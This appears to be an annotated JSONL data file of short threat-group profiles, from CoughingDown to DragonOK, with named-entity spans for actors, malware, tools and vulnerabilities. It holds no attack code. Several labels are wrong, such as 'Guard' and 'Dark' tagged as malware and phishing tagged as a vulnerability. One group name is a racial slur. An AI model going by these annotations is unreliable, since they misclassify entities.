+{"text": "CoughingDown is a threat group attributed to various cyber campaigns, including the deployment of the EAGERBEE backdoor, which utilizes service manipulation and privilege escalation techniques. The group has been linked to malware infrastructure that abuses legitimate services like MSDTC, IKEEXT, and SessionEnv to load malicious DLLs, including oci.dll. Analysis of supply-chain attacks, particularly involving Trojanized packages, has revealed similarities between CoughingDown malware and post-compromise tools used in these incidents. Evidence such as consistent service creation and C2 domain overlap further supports the connection between EAGERBEE and CoughingDown.", "spans": {"THREAT_ACTOR: CoughingDown": [[0, 12], [468, 480], [660, 672]], "VULNERABILITY: privilege escalation": [[161, 181]]}, "info": {"source": "apt_reports", "name": "CoughingDown"}}
+{"text": "The Crimson Collective is a cybercrime group that claimed to have compromised Red Hat's private GitHub repositories in September 2025. The group asserted it had stolen 570GB of data from Red Hat's private GitHub repositories, including 28,000 projects and approximately 800 Customer Engagement Reports (CERs) containing sensitive network data. CERs often contain sensitive information including infrastructure details, configurations, and tokens that attackers could exploit to target customers' networks. The group shared proof of the breach on a Telegram channel, including a full file tree, CER list, and screenshots. The U.S.-based multinational software company confirmed the data breach but did not verify the Crimson Collective's claims. The group also claimed to have gained access to some of Red Hat's client infrastructure and stated they had warned the company but were ignored.", "spans": {"THREAT_ACTOR: Crimson Collective": [[4, 22], [716, 734]], "SYSTEM: GitHub": [[96, 102], [205, 211]], "SYSTEM: Telegram": [[548, 556]], "SYSTEM: Red Hat": [[78, 85], [187, 194], [801, 808]], "MALWARE: Crimson": [[4, 11], [716, 723]]}, "info": {"source": "apt_reports", "name": "Crimson Collective"}}
+{"text": "CryptoChameleon is a cybercriminal group known for targeting cryptocurrency exchanges and users to steal digital assets, employing tactics such as VIP spear phishing, SIM swapping, and email hacks. They have leveraged phishing kits, including a notable one associated with LastPass, and utilize infrastructure from bulletproof host NICENIC. The group primarily targets platforms like Coinbase and Ledger, and their attacks are characterized by rapid cash-out efforts following successful breaches. Their operational methods include manually guiding victims through phishing pages to evade detection by automated scanners.", "spans": {"THREAT_ACTOR: CryptoChameleon": [[0, 15]], "VULNERABILITY: phishing": [[157, 165], [218, 226], [565, 573]], "VULNERABILITY: spear phishing": [[151, 165]]}, "info": {"source": "apt_reports", "name": "CryptoChameleon"}}
+{"text": "CRYSTALRAY is a threat actor known for leveraging open source tools like zmap and SSH-Snake to conduct widespread vulnerability scanning and exploitation. They target victims to collect and sell credentials, deploy cryptominers, and maintain persistence in compromised environments. CRYSTALRAY uses multiple backdoors to control access and spreads through victim networks using SSH-Snake. The actor also uses tools like Platypus for managing victims and extracting sensitive information from compromised systems.", "spans": {"THREAT_ACTOR: CRYSTALRAY": [[0, 10], [283, 293]], "TOOL: SSH": [[82, 85], [378, 381]], "MALWARE: Snake": [[86, 91], [382, 387]]}, "info": {"source": "apt_reports", "name": "CRYSTALRAY"}}
+{"text": "Cuboid Sandstorm is an Iranian threat actor that targeted an Israel-based IT company in July 2021. They gained access to the company's network and used it to compromise downstream customers in the defense, energy, and legal sectors in Israel. The group also utilized custom implants, including a remote access Trojan disguised as RuntimeBroker.exe or svchost.exe, to establish persistence on victim hosts.", "spans": {"THREAT_ACTOR: Cuboid Sandstorm": [[0, 16]]}, "info": {"source": "apt_reports", "name": "Cuboid Sandstorm"}}
+{"text": "Curious Gorge, a group TAG attributes to China's PLA SSF, has conducted campaigns against government and military organizations in Ukraine, Russia, Kazakhstan, and Mongolia. The actor has remained active against government, military, logistics and manufacturing organizations in Ukraine, Russia and Central Asia. In Russia, long running campaigns against multiple government organizations have continued, including the Ministry of Foreign Affairs. Over the past week, TAG identified additional compromises impacting multiple Russian defense contractors and manufacturers and a Russian logistics company.", "spans": {"THREAT_ACTOR: Curious Gorge": [[0, 13]]}, "info": {"source": "apt_reports", "name": "Curious Gorge"}}
+{"text": "Curly COMrades is a threat actor identified by Amazon Threat Intelligence and Bitdefender, believed to operate in support of Russian interests. They employ techniques such as Hyper-V abuse for EDR evasion and utilize proxy tools like Resocks, SSH, and Stunnel to gain access to internal networks. Their activities include repeated attempts to extract the NTDS database from domain controllers and establishing covert access through virtualization features on compromised Windows 10 machines.", "spans": {"THREAT_ACTOR: Curly COMrades": [[0, 14]], "TOOL: SSH": [[243, 246]], "SYSTEM: Windows 10": [[471, 481]], "SYSTEM: Windows": [[471, 478]], "SYSTEM: Bitdefender": [[78, 89]], "SYSTEM: Hyper-V": [[175, 182]], "ORGANIZATION: Amazon": [[47, 53]]}, "info": {"source": "apt_reports", "name": "Curly COMrades"}}
+{"text": "One of the threat actors responsible for the denial of service attacks against U.S in 2012–2013. Three individuals associated with the group—believed to be have been working on behalf of Iran’s Islamic Revolutionary Guard Corps—were indicted by the Justice Department in 2016.", "spans": {"VULNERABILITY: denial of service": [[45, 62]], "MALWARE: Guard": [[216, 221]]}, "info": {"source": "apt_reports", "name": "Cutting Kitten"}}
+{"text": "Cyber Anarchy Squad is a pro-Ukrainian hacktivist group known for targeting Russian companies and infrastructure. They have carried out cyberattacks on Russian telecom providers, financial institutions, and government agencies, causing disruptions to services and leaking stolen data. The group has used techniques such as wiping network equipment, defacing websites, and leaking sensitive documents to support their cause. Cyber Anarchy Squad has been active for at least four years, evolving from cyber-bullying to more sophisticated hacking activities.", "spans": {}, "info": {"source": "apt_reports", "name": "Cyber.Anarchy.Squad"}}
+{"text": "CyberNiggers is a threat group known for breaching various organizations, including the US military, federal contractors, and multinational corporations like General Electric. Led by the prominent member IntelBroker, they specialize in selling access to compromised systems and stealing sensitive data, such as military files and personally identifiable information. The group has targeted a diverse portfolio of organizations, showcasing their strategic approach to gathering varied sets of information. Their activities raise concerns about national security, individual privacy, and the need for robust cybersecurity measures to mitigate the impact of cyber adversaries.", "spans": {"THREAT_ACTOR: CyberNiggers": [[0, 12]], "THREAT_ACTOR: IntelBroker": [[204, 215]]}, "info": {"source": "apt_reports", "name": "CyberNiggers"}}
+{"text": "The Ukrainian Cyber Alliance is a pro-Ukraine hacktivist group formed in 2016, primarily targeting Russian entities since the invasion of Ukraine in 2022. They have claimed responsibility for significant cyberattacks, including the destruction of infrastructure at Russian internet provider Nodex and a breach of the microfinance company CarMoney, linked to Vladimir Putin's ex-wife. Their operations involve data destruction and disruption of IT infrastructure, utilizing techniques such as malware attacks and social engineering tactics. The group has positioned itself as a pro-military force, leveraging social media to communicate its activities and objectives.", "spans": {"THREAT_ACTOR: Cyber Alliance": [[14, 28]], "THREAT_ACTOR: Ukrainian Cyber Alliance": [[4, 28]]}, "info": {"source": "apt_reports", "name": "Cyber Alliance"}}
+{"text": "The hacktivist group ‘Cyber Av3ngers’ has historically claimed attacks on Israel’s critical infrastructures. It has been launching DDoS attacks and claiming breach of Israeli networks with supporting data leaks.", "spans": {"THREAT_ACTOR: Cyber Av3ngers": [[22, 36]], "VULNERABILITY: DDoS": [[131, 135]]}, "info": {"source": "apt_reports", "name": "Cyber Av3ngers"}}
+{"text": "Cyber Islamic Resistance is a hacktivist collective ideologically aligned with Iran, engaging in operations such as website defacements, DDoS attacks, and data exfiltration targeting Israeli and Western entities. They have claimed breaches of Israeli cybersecurity firms and academic platforms, framing their actions as part of a broader narrative of retaliation. The group has also targeted critical infrastructure, asserting access to industrial control systems and operational technology environments. Their activities are often presented as part of a coordinated cyber mobilization campaign, emphasizing psychological and reputational impacts.", "spans": {"THREAT_ACTOR: Cyber Islamic Resistance": [[0, 24]], "VULNERABILITY: DDoS": [[137, 141]]}, "info": {"source": "apt_reports", "name": "Cyber Islamic Resistance"}}
+{"text": "The Cyber Partisans, a hacktivist group based in Belarus, has been involved in various cyber-attacks targeting organizations and infrastructure in Belarus and Ukraine. They have hacked and wiped the network of the Belarusian Telegraph Agency, targeted the Belarusian Red Cross, and conducted ransomware attacks on the Belarusian Railway and Belarusian State University. The group aims to expose alleged crimes committed by pro-government organizations and disrupt operations supporting the Russian military operation against Ukraine. They have also leaked stolen data to journalists and expressed support for Ukraine.", "spans": {"THREAT_ACTOR: Cyber Partisans": [[4, 19]]}, "info": {"source": "apt_reports", "name": "Cyber Partisans"}}
+{"text": "UAC-0255 is a threat actor that conducted a phishing campaign impersonating CERT-UA to distribute the AGEWHEEZE RAT, targeting organizations in Ukraine's public and private sectors. The campaign is part of a broader trend of using trusted identities to enhance victim engagement, as seen in previous activities like UAC-0190 and UAC-0252. CERT-UA identified UAC-0255 after discovering links to the CyberSerp Telegram channel, which claimed responsibility for the attack. The activity is documented under the identifier CERT-UA#21075, with detection rules available for cybersecurity analysts.", "spans": {"SYSTEM: Telegram": [[408, 416]], "ORGANIZATION: CERT-UA": [[76, 83], [339, 346], [519, 526]], "VULNERABILITY: phishing": [[44, 52]]}, "info": {"source": "apt_reports", "name": "Cyber Serp"}}
+{"text": "Cyber Toufan is a threat actor group that has gained prominence for its cyberattacks targeting Israeli organizations. The group's tactics suggest potential nation-state backing, possibly from Iran. They have been involved in hack-and-leak operations, data breaches, and data destruction, impacting over 100 organizations. Cyber Toufan's activities align with geopolitical tensions in the Middle East and their attacks are characterized by a combination of technical breaches and psychological warfare.", "spans": {"THREAT_ACTOR: Cyber Toufan": [[0, 12], [322, 334]]}, "info": {"source": "apt_reports", "name": "Cyber Toufan"}}
+{"text": "Operate since at least 2011, from several locations in China, with  members in Korea and Japan as well. Possibly linked to Onion Dog. This threat actor targets government institutions, military contractors, maritime and shipbuilding groups, telecommunications operators, and others, primarily in Japan and South Korea.", "spans": {}, "info": {"source": "apt_reports", "name": "DAGGER PANDA"}}
+{"text": "Daixin is a threat actor group that has been active since at least June 2022. They primarily target the healthcare and public health sector with ransomware attacks, stealing sensitive data and threatening to release it if a ransom is not paid. They have successfully targeted various industries, including healthcare, aerospace, automotive, and packaged foods. Daixin gains initial access through VPN servers and exploits vulnerabilities or uses phishing attacks to obtain credentials. They have been responsible for cyberattacks on organizations such as the North Texas Municipal Water District and TransForm Shared Service Org, impacting their networks and stealing customer and patient information.", "spans": {"SYSTEM: VPN": [[397, 400]], "VULNERABILITY: phishing": [[446, 454]]}, "info": {"source": "apt_reports", "name": "Daixin Team"}}
+{"text": "The group usually targets vulnerable servers to breach information including internal data from companies or encrypts files and demands money. Their targets of attack are usually Windows servers that are poorly managed or are not patched to the latest version. Besides these, there are also attack cases that targeted email servers or MS-SQL database servers.", "spans": {"SYSTEM: Windows": [[179, 186]]}, "info": {"source": "apt_reports", "name": "Dalbit"}}
+{"text": "Dancing Salome is the Kaspersky codename for an APT actor with a primary focus on ministries of foreign affairs, think tanks, and Ukraine. What makes Dancing Salome interesting and relevant is the attacker’s penchant for leveraging HackingTeam RCS implants compiled after the public breach.", "spans": {"THREAT_ACTOR: Dancing Salome": [[0, 14], [150, 164]], "SYSTEM: Kaspersky": [[22, 31]]}, "info": {"source": "apt_reports", "name": "Dancing Salome"}}
+{"text": "Malicious campaign called DangerousSavanna has been targeting multiple major financial service groups in French-speaking Africa for the last two years. The threat actors behind this campaign use spear-phishing as a means of initial infection, sending emails with malicious attachments to the employees of financial institutions in at least five different French-speaking countries: Ivory Coast, Morocco, Cameroon, Senegal, and Togo.\nDangerousSavanna tends to install relatively unsophisticated software tools in the infected environments. These tools are both self-written and based on open-source projects such as Metasploit, PoshC2, DWservice, and AsyncRAT. The threat actors’ creativity is on display in the initial infection stage, as they persistently pursue the employees of the targeted companies, constantly changing infection chains that utilize a wide range of malicious file types, from self-written executable loaders and malicious documents, to ISO, LNK, JAR and VBE files in various combinations. The evolving infection chains by the threat actor reflect the changes in the threat landscape seen over the past few years as infection vectors became more and more sophisticated and diverse.", "spans": {"THREAT_ACTOR: DangerousSavanna": [[26, 42], [433, 449]], "TOOL: PoshC2": [[627, 633]], "TOOL: Metasploit": [[615, 625]], "TOOL: AsyncRAT": [[650, 658]], "VULNERABILITY: spear-phishing": [[195, 209]], "VULNERABILITY: phishing": [[201, 209]]}, "info": {"source": "apt_reports", "name": "DangerousSavanna"}}
+{"text": "DarkCasino is an economically motivated APT group that targets online trading platforms, including cryptocurrencies, online casinos, network banks, and online credit platforms. They are skilled at stealing passwords to access victims' online accounts and have been active for over a year. DarkCasino exploits vulnerabilities, such as the WinRAR vulnerability CVE-2023-38831, to launch phishing attacks and steal online property.", "spans": {"CVE_ID: CVE-2023-38831": [[359, 373]], "THREAT_ACTOR: DarkCasino": [[0, 10], [289, 299]], "TOOL: WinRAR": [[338, 344]], "VULNERABILITY: phishing": [[385, 393]]}, "info": {"source": "apt_reports", "name": "DarkCasino"}}
+{"text": "DarkGaboon is a financially motivated APT group that has been independently targeting Russian organizations since May 2023, primarily using phishing emails to deliver malware such as Revenge RAT and LockBit 3.0 ransomware. Their operations demonstrate advanced operational security practices, including the use of homoglyphs in file names and decoy documents sourced from legitimate Russian templates to evade detection. The group has shown a disciplined approach to updating their toolkit, with 369 unique files identified, and employs command-and-control infrastructure located outside Russia. DarkGaboon's linguistic proficiency in Russian suggests a deep understanding of the local context, enhancing the effectiveness of their phishing lures.", "spans": {"THREAT_ACTOR: DarkGaboon": [[0, 10], [596, 606]], "VULNERABILITY: phishing": [[140, 148], [732, 740]], "MALWARE: Revenge RAT": [[183, 194]], "MALWARE: LockBit 3.0": [[199, 210]]}, "info": {"source": "apt_reports", "name": "DarkGaboon"}}
+{"text": "Kaspersky described DarkHotel in a 2014 report as: '... DarkHotel drives its campaigns by spear-phishing targets with highly advanced Flash zero-day exploits that effectively evade the latest Windows and Adobe defenses, and yet they also imprecisely spread among large numbers of vague targets with peer-to-peer spreading tactics. Moreover, this crews most unusual characteristic is that for several years the Darkhotel APT has maintained a capability to use hotel networks to follow and hit selected targets as they travel around the world.'", "spans": {"THREAT_ACTOR: DarkHotel": [[20, 29], [56, 65]], "SYSTEM: Kaspersky": [[0, 9]], "SYSTEM: Windows": [[192, 199]], "VULNERABILITY: spear-phishing": [[90, 104]], "VULNERABILITY: zero-day": [[140, 148]], "VULNERABILITY: phishing": [[96, 104]], "MALWARE: Darkhotel": [[410, 419]]}, "info": {"source": "apt_reports", "name": "DarkHotel"}}
+{"text": "In July 2018, Unit 42 analyzed a targeted attack using a novel file type against at least one government agency in the Middle East. It was carried out by a previously unpublished threat group we track as DarkHydrus. Based on our telemetry, we were able to uncover additional artifacts leading us to believe this adversary group has been in operation with their current playbook since early 2016. This attack diverged from previous attacks we observed from this group as it involved spear-phishing emails sent to targeted organizations with password protected RAR archive attachments that contained malicious Excel Web Query files (.iqy).", "spans": {"THREAT_ACTOR: DarkHydrus": [[204, 214]], "TOOL: RAR": [[559, 562]], "ORGANIZATION: Unit 42": [[14, 21]], "VULNERABILITY: spear-phishing": [[482, 496]], "VULNERABILITY: phishing": [[488, 496]]}, "info": {"source": "apt_reports", "name": "DarkHydrus"}}
+{"text": "DarkPink is an APT group that has been active since mid-2021, primarily targeting government, military, and non-profit organizations in Southeast Asia and Europe. The group employs spear phishing techniques, utilizing ISO images and malicious PDF files to deliver custom Trojan programs like TelePowerBot and KamiKakaBot for information theft. They have exploited vulnerabilities such as CVE-2023-38831 to enhance their attack processes and maintain persistence through DLL side-loading and scheduled tasks. DarkPink's operations are characterized by stealth and precision, making them a significant threat in the cyber landscape.", "spans": {"CVE_ID: CVE-2023-38831": [[388, 402]], "THREAT_ACTOR: DarkPink": [[0, 8], [508, 516]], "VULNERABILITY: phishing": [[187, 195]], "VULNERABILITY: DLL side-loading": [[470, 486]], "VULNERABILITY: spear phishing": [[181, 195]], "MALWARE: KamiKakaBot": [[309, 320]]}, "info": {"source": "apt_reports", "name": "DarkPink"}}
+{"text": "DarkRaaS is a threat actor specializing in selling unauthorized access to various organizations' systems and networks across multiple countries, with a recent focus on targets in Israel, UAE, Turkey, and South America 4 9 20. The group has been operating for at least six years and typically offers access to sensitive data, internal systems, and infrastructure, with prices ranging up to $25,000 for VPN access 4 9. Their targets span various sectors including government institutions, educational facilities, oil and gas companies, and IT organizations, often claiming to have access to multiple terabytes of sensitive data 7 19.", "spans": {"THREAT_ACTOR: DarkRaaS": [[0, 8]], "SYSTEM: VPN": [[401, 404]]}, "info": {"source": "apt_reports", "name": "DarkRaaS"}}
+{"text": "Dubbed DarkVishnya, the attacks targeted at least eight banks using readily-available gear such as netbooks or inexpensive laptops, Raspberry Pi mini-computers, or a Bash Bunny - a USB-sized piece hardware for penetration testing purposes that can pose as a keyboard, flash storage, network adapter, or as any serial device.", "spans": {"THREAT_ACTOR: DarkVishnya": [[7, 18]]}, "info": {"source": "apt_reports", "name": "DarkVishnya"}}
+{"text": "Dark Basin is a hack-for-hire group that has targeted thousands of individuals and hundreds of institutions on six continents. Targets include advocacy groups and journalists, elected and senior government officials, hedge funds, and multiple industries.\nDark Basin extensively targeted American nonprofits, including organisations working on a campaign called #ExxonKnew, which asserted that ExxonMobil hid information about climate change for decades.\nWe also identify Dark Basin as the group behind the phishing of organizations working on net neutrality advocacy, previously reported by the Electronic Frontier Foundation.\nWe link Dark Basin with high confidence to an Indian company, BellTroX InfoTech Services, and related entitie", "spans": {"THREAT_ACTOR: Dark Basin": [[0, 10], [255, 265], [471, 481], [635, 645]], "VULNERABILITY: phishing": [[506, 514]], "MALWARE: Dark": [[0, 4], [255, 259], [471, 475], [635, 639]]}, "info": {"source": "apt_reports", "name": "Dark Basin"}}
+{"text": "Lookout and Electronic Frontier Foundation (EFF) have discovered Dark Caracal, a persistent and prolific actor, who at the time of writing is believed to be administered out of a building belonging to the Lebanese General Security Directorate in Beirut. At present, we have knowledge of hundreds of gigabytes of exfiltrated data, in 21+ countries, across thousands of victims. Stolen data includes enterprise intellectual property and personally identifiable information.", "spans": {"THREAT_ACTOR: Dark Caracal": [[65, 77]], "ORGANIZATION: Lookout": [[0, 7]], "ORGANIZATION: EFF": [[44, 47]], "MALWARE: Dark": [[65, 69]]}, "info": {"source": "apt_reports", "name": "Dark Caracal"}}
+{"text": "The Syrian Electronic Army (SEA) is a group of computer hackers which first surfaced online in 2011 to support the government of Syrian President Bashar al-Assad. Using spamming, website defacement, malware, phishing, and denial of service attacks, it has targeted political opposition groups, western news organizations, human rights groups and websites that are seemingly neutral to the Syrian conflict. It has also hacked government websites in the Middle East and Europe, as well as US defense contractors. As of 2011 the SEA has been *the first Arab country to have a public Internet Army hosted on its national networks to openly launch cyber attacks on its enemies*. The precise nature of SEA's relationship with the Syrian government has changed over time and is unclear", "spans": {"VULNERABILITY: phishing": [[208, 216]], "VULNERABILITY: denial of service": [[222, 239]]}, "info": {"source": "apt_reports", "name": "Deadeye Jackal"}}
+{"text": "DefrayX is a threat actor group known for their RansomExx ransomware operations. They primarily target Linux operating systems, but also release versions for Windows. The group has been active since 2018 and has targeted various sectors, including healthcare and manufacturing. They have also developed other malware strains such as PyXie RAT, Vatet loader, and Defray ransomware.", "spans": {"THREAT_ACTOR: DefrayX": [[0, 7]], "SYSTEM: Windows": [[158, 165]], "SYSTEM: Linux": [[103, 108]], "MALWARE: PyXie RAT": [[333, 342]], "MALWARE: PyXie": [[333, 338]], "MALWARE: Defray": [[362, 368]]}, "info": {"source": "apt_reports", "name": "DefrayX"}}
+{"text": "Denim Tsunami is a threat actor group that has been involved in targeted attacks against European and Central American customers. They have been observed using multiple Windows and Adobe 0-day exploits, including one for CVE-2022-22047, which is a privilege escalation vulnerability. Denim Tsunami developed a custom malware called Subzero, which has capabilities such as keylogging, capturing screenshots, data exfiltration, and running remote shells. They have also been associated with the Austrian spyware distributor DSIRF.", "spans": {"CVE_ID: CVE-2022-22047": [[221, 235]], "THREAT_ACTOR: Denim Tsunami": [[0, 13], [284, 297]], "SYSTEM: Windows": [[169, 176]], "VULNERABILITY: privilege escalation": [[248, 268]], "VULNERABILITY: 0-day": [[187, 192]], "VULNERABILITY: keylogging": [[372, 382]]}, "info": {"source": "apt_reports", "name": "Denim Tsunami"}}
+{"text": "Desorden (Disorder in Spanish, previously known as ChaosCC), is a financially motivated hacker group. The group first emerged under the new name Desorden in September 2021, on Raidforums. Today the group maintains users under that name on several popular English-speaking hacking forums, where they share their attacks and ransom demands, and offer databases for sale. The group gained an excellent reputation among the cybercriminal communities due to their successful operations and the unique data that they share and offer for sale.", "spans": {}, "info": {"source": "apt_reports", "name": "Desorden Group"}}
+{"text": "DEV-0147 is a China-based cyber espionage actor was observed compromising diplomatic targets in South America, a notable expansion of the group's data exfiltration operations that traditionally targeted gov't agencies and think tanks in Asia and Europe. DEV-0147 is known to use tools like ShadowPad, a remote access trojan associated with other China-based actors, to maintain persistent access, and QuasarLoader, a webpack loader, to deploy additional malware. DEV-0147's attacks in South America included post-exploitation activity involving the abuse of on-premises identity infrastructure for recon and lateral movement, and the use of Cobalt Strike for command and control and data exfiltration.", "spans": {"THREAT_ACTOR: DEV-0147": [[0, 8], [254, 262], [463, 471]], "THREAT_ACTOR: Cobalt": [[641, 647]], "TOOL: Cobalt Strike": [[641, 654]], "MALWARE: ShadowPad": [[290, 299]]}, "info": {"source": "apt_reports", "name": "DEV-0147"}}
+{"text": "Microsoft threat intelligence teams have been tracking multiple ransomware campaigns and have tied these attacks to DEV-0270, also known as Nemesis Kitten, a sub-group of Iranian actor PHOSPHORUS. Microsoft assesses with moderate confidence that DEV-0270 conducts malicious network operations, including widespread vulnerability scanning, on behalf of the government of Iran.", "spans": {"THREAT_ACTOR: DEV-0270": [[116, 124], [246, 254]], "ORGANIZATION: Microsoft": [[0, 9], [197, 206]]}, "info": {"source": "apt_reports", "name": "DEV-0270"}}
+{"text": "DEV-0569, also known as Storm-0569, is a threat actor group that has been observed deploying the Royal ransomware. They utilize malicious ads and phishing techniques to distribute malware and gain initial access to networks. The group has been linked to the distribution of payloads such as Batloader and has forged relationships with other threat actors. DEV-0569 has targeted various sectors, including healthcare, communications, manufacturing, and education in the United States and Brazil.", "spans": {"THREAT_ACTOR: DEV-0569": [[0, 8], [356, 364]], "VULNERABILITY: phishing": [[146, 154]], "MALWARE: Royal": [[97, 102]]}, "info": {"source": "apt_reports", "name": "DEV-0569"}}
+{"text": "MSTIC has not found any notable associations between this observed activity, tracked as DEV-0586, and other known activity groups. MSTIC assesses that the malware (WhisperGate), which is designed to look like ransomware but lacking a ransom recovery mechanism, is intended to be destructive and designed to render targeted devices inoperable rather than to obtain a ransom.", "spans": {"THREAT_ACTOR: DEV-0586": [[88, 96]], "MALWARE: WhisperGate": [[164, 175]]}, "info": {"source": "apt_reports", "name": "DEV-0586"}}
+{"text": "DEV-0928 is a threat actor that has been tracked by Microsoft since September 2022. They are known for their involvement in high-volume phishing campaigns, using tools offered by DEV-1101. DEV-0928 sends phishing emails to targets and has been observed launching campaigns involving millions of emails. They also utilize evasion techniques, such as redirection to benign pages, to avoid detection.", "spans": {"THREAT_ACTOR: DEV-0928": [[0, 8], [189, 197]], "ORGANIZATION: Microsoft": [[52, 61]], "VULNERABILITY: phishing": [[136, 144], [204, 212]]}, "info": {"source": "apt_reports", "name": "DEV-0928"}}
+{"text": "Lace Tempest, also known as DEV-0950, is a threat actor that exploited vulnerabilities in software such as SysAid and PaperCut to gain unauthorized access to systems. Lace Tempest is known for deploying the Clop ransomware and exfiltrating data from compromised networks.", "spans": {"THREAT_ACTOR: DEV-0950": [[28, 36]], "MALWARE: Clop": [[207, 211]]}, "info": {"source": "apt_reports", "name": "DEV-0950"}}
+{"text": "Microsoft reported on MCCrash, an IoT botnet operated by the DEV-1028 threat actor and used to launch DDoS attacks against private Minecraft servers.", "spans": {"THREAT_ACTOR: DEV-1028": [[61, 69]], "ORGANIZATION: Microsoft": [[0, 9]], "VULNERABILITY: DDoS": [[102, 106]]}, "info": {"source": "apt_reports", "name": "DEV-1028"}}
+{"text": "DiceyF is an advanced persistent threat group that has been targeting online casinos and other victims in Southeast Asia for an extended period. They have exhibited overlapping activity with LuckyStar PlugX and Earth Berberoka/GamblingPuppet, as reported by various cybersecurity vendors. While their motivations remain unclear, previous incidents suggest a combination of espionage and intellectual property theft rather than immediate financial gain. DiceyF continuously evolves their codebase and adds encryption capabilities to enhance their stealthy cyberespionage activities.", "spans": {"THREAT_ACTOR: DiceyF": [[0, 6], [453, 459]], "THREAT_ACTOR: Earth Berberoka": [[211, 226]], "MALWARE: PlugX": [[201, 206]]}, "info": {"source": "apt_reports", "name": "DiceyF"}}
+{"text": "DieNet is a hacktivist group that emerged in March 2025, known for conducting DDoS attacks targeting entities associated with political figures, such as Trump businesses. The group has claimed responsibility for disabling ten significant Iraqi websites, framing the action as support for their affiliates in the “Shiite Harvest.” Their operations suggest motivations rooted in sectarian dynamics, with a coordinated effort indicated by the use of hashtags like #DieNet and #Shiite_Harvest. This reflects the use of cyber offensives as tools for political and ideological expression, mirroring offline sectarian tensions.", "spans": {"THREAT_ACTOR: DieNet": [[0, 6], [462, 468]], "VULNERABILITY: DDoS": [[78, 82]]}, "info": {"source": "apt_reports", "name": "DieNet"}}
+{"text": "Cisco Talos recently discovered a new campaign targeting Lebanon and the United Arab Emirates (UAE) affecting .gov domains, as well as a private Lebanese airline company. Based on our research, it's clear that this adversary spent time understanding the victims' network infrastructure in order to remain under the radar and act as inconspicuous as possible during their attacks.\nBased on this actor's infrastructure and TTPs, we haven't been able to connect them with any other campaign or actor that's been observed recently. This particular campaign utilizes two fake, malicious websites containing job postings that are used to compromise targets via malicious Microsoft Office documents with embedded macros. The malware utilized by this actor, which we are calling \"DNSpionage,\" supports HTTP and DNS communication with the attackers.\nIn a separate campaign, the attackers used the same IP to redirect the DNS of legitimate .gov and private company domains. During each DNS compromise, the actor carefully generated Let's Encrypt certificates for the redirected domains. These certificates provide X.509 certificates for TLS free of charge to the user. We don't know at this time if the DNS redirections were successful.\nIn this post, we will break down the attackers' methods and show how they used malicious documents to attempt to trick users into opening malicious websites that are disguised as \"help wanted\" sites for job seekers. Additionally, we will describe the malicious DNS redirection and the timeline of the events.", "spans": {"THREAT_ACTOR: DNSpionage": [[772, 782]], "SYSTEM: Cisco": [[0, 5]], "SYSTEM: Microsoft Office": [[665, 681]], "ORGANIZATION: Talos": [[6, 11]], "ORGANIZATION: Microsoft": [[665, 674]], "ORGANIZATION: Cisco Talos": [[0, 11]]}, "info": {"source": "apt_reports", "name": "DNSpionage"}}
+{"text": "An extensive surveillance operation targets specific groups of individuals with malicious mobile apps that collect sensitive information on the device along with surrounding voice recordings. Researchers with CheckPoint discovered the attack and named it Domestic Kitten. The targets are Kurdish and Turkish natives, and ISIS supporters, all Iranian citizens.", "spans": {"THREAT_ACTOR: Domestic Kitten": [[255, 270]]}, "info": {"source": "apt_reports", "name": "Domestic Kitten"}}
+{"text": "In June 2019, CrowdStrike Intelligence observed a source code fork of BitPaymer and began tracking the new ransomware strain as DoppelPaymer. Further technical analysis revealed an increasing divergence between two versions of Dridex, with the new version dubbed DoppelDridex. Based on this evidence, CrowdStrike Intelligence assessed with high confidence that a new group split off from INDRIK SPIDER to form the adversary DOPPEL SPIDER. Following DOPPEL SPIDER’s inception, CrowdStrike Intelligence observed multiple BGH incidents attributed to the group, with the largest known ransomware demand being 250 BTC. Other demands were not nearly as high, suggesting that the group conducts network reconnaissance to determine the value of the victim organization.", "spans": {"THREAT_ACTOR: DOPPEL SPIDER": [[424, 437], [449, 462]], "THREAT_ACTOR: INDRIK SPIDER": [[388, 401]], "ORGANIZATION: CrowdStrike": [[14, 25], [301, 312], [476, 487]], "MALWARE: DoppelDridex": [[263, 275]], "MALWARE: Dridex": [[227, 233]], "MALWARE: DoppelPaymer": [[128, 140]], "MALWARE: BitPaymer": [[70, 79]]}, "info": {"source": "apt_reports", "name": "DOPPEL SPIDER"}}
+{"text": "Golden Eye Dog targets Chinese-speaking users engaged in online gambling, employing techniques such as SERP poisoning, social engineering, and DDoS attacks. The group utilizes trojanized NSIS installers to deliver RONINGLOADER, which executes complex process-injection workflows and deploys a modified Gh0st RAT for espionage. Their operations have included DLL sideloading and the use of watering hole websites to implant Trojans. The group is noted for its high anti-detection capabilities and has been associated with various malware development languages.", "spans": {"VULNERABILITY: DLL sideloading": [[358, 373]], "VULNERABILITY: DDoS": [[143, 147]], "VULNERABILITY: watering hole": [[389, 402]], "MALWARE: Gh0st RAT": [[302, 311]]}, "info": {"source": "apt_reports", "name": "DragonBreath"}}
+{"text": "DRAGONBRIDGE is a Chinese state-sponsored threat actor known for engaging in information operations to promote the political interests of the People's Republic of China. They have been observed using AI-generated images and videos to spread propaganda on social media platforms. The group has targeted various countries and regions, including the US, Taiwan, and Japan, with narratives promoting pro-PRC viewpoints. DRAGONBRIDGE has been linked to campaigns discrediting the US political system, sowing division between allies, and criticizing specific companies and individuals.", "spans": {"THREAT_ACTOR: DRAGONBRIDGE": [[0, 12], [416, 428]]}, "info": {"source": "apt_reports", "name": "Dragonbridge"}}
+{"text": "DragonForce is a hacktivist group based in Malaysia that has been involved in cyberattacks targeting government institutions and commercial organizations in India. They have also targeted websites affiliated with Israel and have shown support for pro-Palestinian causes. The group has been observed using defacement attacks, distributed denial-of-service attacks, and data leaks as part of their campaigns. DragonForce Malaysia has demonstrated an ability to adapt and evolve their tactics over time.", "spans": {"THREAT_ACTOR: DragonForce": [[0, 11], [407, 418]]}, "info": {"source": "apt_reports", "name": "DragonForce"}}
+{"text": "Threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, DragonOK is thought to have a direct or indirect relationship with the threat group Moafee. 2223 It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT.", "spans": {"THREAT_ACTOR: DragonOK": [[133, 141]], "VULNERABILITY: phishing": [[59, 67]], "MALWARE: PoisonIvy": [[308, 317]], "MALWARE: Moafee": [[217, 223]], "MALWARE: PlugX": [[301, 306]]}, "info": {"source": "apt_reports", "name": "DragonOK"}}
